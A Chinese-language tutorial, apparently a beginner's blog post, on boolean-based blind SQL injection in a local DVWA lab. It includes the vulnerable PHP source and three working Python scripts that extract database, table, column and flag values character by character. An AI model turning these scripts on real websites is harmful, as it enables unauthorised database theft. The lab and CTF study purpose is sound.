0x01 前置知识


1.SQL注入与SQL盲注

SQL注入:

  • 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等
  • 一般在页面上直接就会显示执行sql语句的结果

SQL盲注:

  • 一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
  • 一般在页面上不会直接显示sql执行的结果
  • 有可能出现不确定sql是否执行的情况


2.SQL盲注分类

根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

(1)对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
(2)对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
(3)对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。


3.SQL盲注测试流程

SQL盲注的测试过程与DVWA的普通SQL Injection操作流程类似,大致测试流程如下:

  • 判断是否存在注入,注入的类型
  • 猜解当前数据库名称
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 获取表中的字段值
  • 获取数据库的其他信息:版本、用户…


4.Requests库的使用

在CTF中里,python脚本中最基本的就是requests库的使用,本文不过多介绍其使用方法,可参考以下官方文档,讲的很详细:快速上手——requests以及高级用法——request


0x02 前置工作


1.为了更贴近CTF比赛的模式,因此在dvwa的数据库中加入了flag,最终脚本的结果也是爆出flag
2.加了两个flag是为了更好体现脚本的功能
dvwa库中的表
在这里插入图片描述


0x03 Low SQL Injection (Blind)


1.测试分析

经过简单的测试之后发现,页面只会出现两种回显,即

User ID exists in the database.

User ID is MISSING from the database.
构造User ID取值的语句 回显结果
1 exists
MISSING
1 and 1=1 # exists
1 and 1=2 # exists
1’ and 1=1 # exists
1’ and 1=2 # MISSING
  • 满足查询条件则返回”User ID exists in the database.”,不满足查询条件则返回”User ID is MISSING from the database.”
  • 两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注
  • 由最后两行构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注。

因为本文主要目的为脚本的编写,因此查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  • 文本框输入并提交的形式,GET请求方式
  • 未作任何输入过滤和限制,攻击者可任意构造所想输入的sql查询


2.脚本编写

脚本中所用到的SQL语句与dvwa前面非盲注时语句差不多,可参考:dvwa之SQL注入(1)

(1)脚本一:爆库名、表个数、表名
我这里写的脚本是将当前数据库的所有表名都跑出来,实际在CTF比赛中,为节约时间可以不必这么做,因为一般包含flag的表名都会有特殊含义,只需要知道包含flag的表名即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests

# 脚本里用到的参数
# databaseLen 库名长度
# databse_name 库名
# tableNum 表的数量
# tableLen 表名长度
# table_name 表名

s = requests.Session()

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
# 这里为节约时间只包含小写字母与数字,实际可能还有大写字母与符号

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度)
for j in range(1,50):
databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
# 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
databaseLen = j
break
print('database_lenth: '+str(databaseLen))

# 2.爆库名
databse_name = ''
for j in range(1,databaseLen+1):
for i in payloads:
databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'

if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
databse_name += i
print('database_name: '+databse_name)

# 3.爆破表的个数
for j in range(1,50):
tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
tableNum = j
break
print('tableNum: '+str(tableNum))

# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
table_name = ''
for i in range(1,50):
tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
# 用法substr('This is a test', 6) 返回'is a test'
if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
tableLen = i
print('table'+str(j+1)+'_length: '+str(tableLen))

# (2)内部循环爆破每个表的表名
for m in range(1,tableLen+1):
for n in payloads: # i在上个循环用过了
table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
table_name += n
print('table'+str(j+1)+'_name: '+table_name)

脚本一的运行结果如下:
script1

(2)脚本二:爆列名
由脚本一得到的结果,很显然flag应该在‘flagishere’表中,因此脚本二只是针对此表来跑出其中所有的列名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段

import requests

s = requests.Session() # 保持回话

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 1.判断flgishere表中字段数目
columnNum = 0
for j in range(50):
columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'flagishere\')='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnNum_payload, headers=headers).text:
columnNum = j
break
print('columnNum: '+str(columnNum))

# 2.爆出每个字段名的长度
for j in range(0,columnNum):
column_name = ''
for i in range(1,50):
columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnLen_payload, headers=headers).text:
columnLen = i
print('column'+str(j+1)+'_length: '+str(columnLen))

# (2)内部循环爆破每个表的表名
for m in range(1,columnLen+1):
for n in payloads: # i在上个循环用过了
column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+column_payload, headers=headers).text:
column_name += n
print('column'+str(j+1)+'_name: '+column_name)

脚本二运行结果如下:
script2

(3)脚本三:爆字段内容
由脚本二的结果得知,真正的flag应该在’flagishere’表中的’flag’列下,所有脚本三就跑出该列下每条记录的值,也就是最终的flag(这里为了展示脚本可以爆多条记录的功能,所以自己设置了两个flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段名为'flag'
# 所以此脚本用来爆破flag字段中的内容

import requests

s = requests.Session() # 保持回话

url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'

payloads = 'abcdefghijklmnopqrstuvwxyz1234567890\{\}'

headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie

# 判断flag字段中记录(行)数量
rowNum = 0
for j in range(50):
rowNum_payload = '?id=1\' and (select count(*) from flagishere)='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
rowNum = j
print("row_number: "+str(rowNum))


# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):

rowContent = ''
for i in range(50):
#rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
rowLen_payload = '?id=1\' and length(substr((select flag from flagishere limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
rowLen = i
print('row'+str(j+1)+'_length: '+str(rowLen))
#爆出个字段内容
for m in range(1,rowLen+1):
for n in payloads:
rowContent_payload = '?id=1\' and substr((select flag from flagishere limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
rowContent += n
print('row'+str(j+1)+'_content: '+rowContent)

脚本三运行结果如下:
script3


0x04 总结

由于是刚入门的小白,各方面都在起步之中,还有许多需要继续努学习的,尤其要提高自己的代码编写能力,关于sql注入的学习也还会继续。